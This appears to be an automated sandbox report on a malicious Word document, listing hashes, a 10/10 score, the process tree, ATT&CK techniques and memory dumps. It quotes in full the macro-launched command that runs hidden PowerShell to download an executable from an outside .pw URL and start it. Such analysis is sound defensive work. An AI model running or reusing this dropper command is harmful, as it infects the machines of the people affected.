31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923

Analysis

max time kernel
24s
max time network
16s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 21:11

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General

Target

31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923.doc
Size

110KB
MD5

779769658592b517ac94754b2e1440e0
SHA1

267ad7195a092fd012c5f7e7bead95ef4628d3cb
SHA256

31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923
SHA512

3806f137ce0546814c8ec2fa5f4383893547431fa63c9d8416094c7eaecd188f40361099c68278e3cc0924b1c73d3f7fa3971eb6e1a08fc4b3601187b551bf84
SSDEEP

1536:d9ITuk/hms5bEb+FtYuvck3fu6Va8KefAQGQ2ZiYxXJXs:d9MV/XI+FtTvcAU0STi85s

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://w2afipbza0zj.pw/blog/wnx0bykhutp2.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	5772	2200	cmd.exe	WINWORD.EXE

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

5840 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2200 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

5840 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5840 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2200 WINWORD.EXE
2200 WINWORD.EXE

pid	process
5840	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	process
2200	WINWORD.EXE

pid	process
5840	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5840	powershell.exe

pid	process
2200	WINWORD.EXE
2200	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 2200 wrote to memory of 5772	2200	WINWORD.EXE	cmd.exe
PID 2200 wrote to memory of 5772	2200	WINWORD.EXE	cmd.exe
PID 2200 wrote to memory of 5772	2200	WINWORD.EXE	cmd.exe
PID 2200 wrote to memory of 5772	2200	WINWORD.EXE	cmd.exe
PID 5772 wrote to memory of 5840	5772	cmd.exe	powershell.exe
PID 5772 wrote to memory of 5840	5772	cmd.exe	powershell.exe
PID 5772 wrote to memory of 5840	5772	cmd.exe	powershell.exe
PID 5772 wrote to memory of 5840	5772	cmd.exe	powershell.exe
PID 2200 wrote to memory of 1692	2200	WINWORD.EXE	splwow64.exe
PID 2200 wrote to memory of 1692	2200	WINWORD.EXE	splwow64.exe
PID 2200 wrote to memory of 1692	2200	WINWORD.EXE	splwow64.exe
PID 2200 wrote to memory of 1692	2200	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\31046cbfa8c6364855b43d999a13c67fc72ef56de93a2d0dc5de23fdfb16f923.doc"
1⤵
- Drops file in Windows directory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2200

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c cd decennialimpuredistributorHadesnature & PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://w2afipbza0zj.pw/blog/wnx0bykhutp2.exe','%TEMP%\meld.exe');Start (%TEMP%\meld.exe)
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5772

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://w2afipbza0zj.pw/blog/wnx0bykhutp2.exe','C:\Users\Admin\AppData\Local\Temp\meld.exe');Start (C:\Users\Admin\AppData\Local\Temp\meld.exe)
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5840

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2200-0-0x000000002F1C1000-0x000000002F1C2000-memory.dmp

Filesize
4KB

Download
memory/2200-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2200-2-0x00000000716AD000-0x00000000716B8000-memory.dmp

Filesize
44KB

Download
memory/2200-1012-0x0000000005C90000-0x0000000005D90000-memory.dmp

Filesize
1024KB

Download
memory/2200-1062-0x0000000005C90000-0x0000000005D90000-memory.dmp

Filesize
1024KB

Download
memory/2200-1071-0x00000000716AD000-0x00000000716B8000-memory.dmp

Filesize
44KB

Download
memory/2200-1072-0x0000000005C90000-0x0000000005D90000-memory.dmp

Filesize
1024KB

Download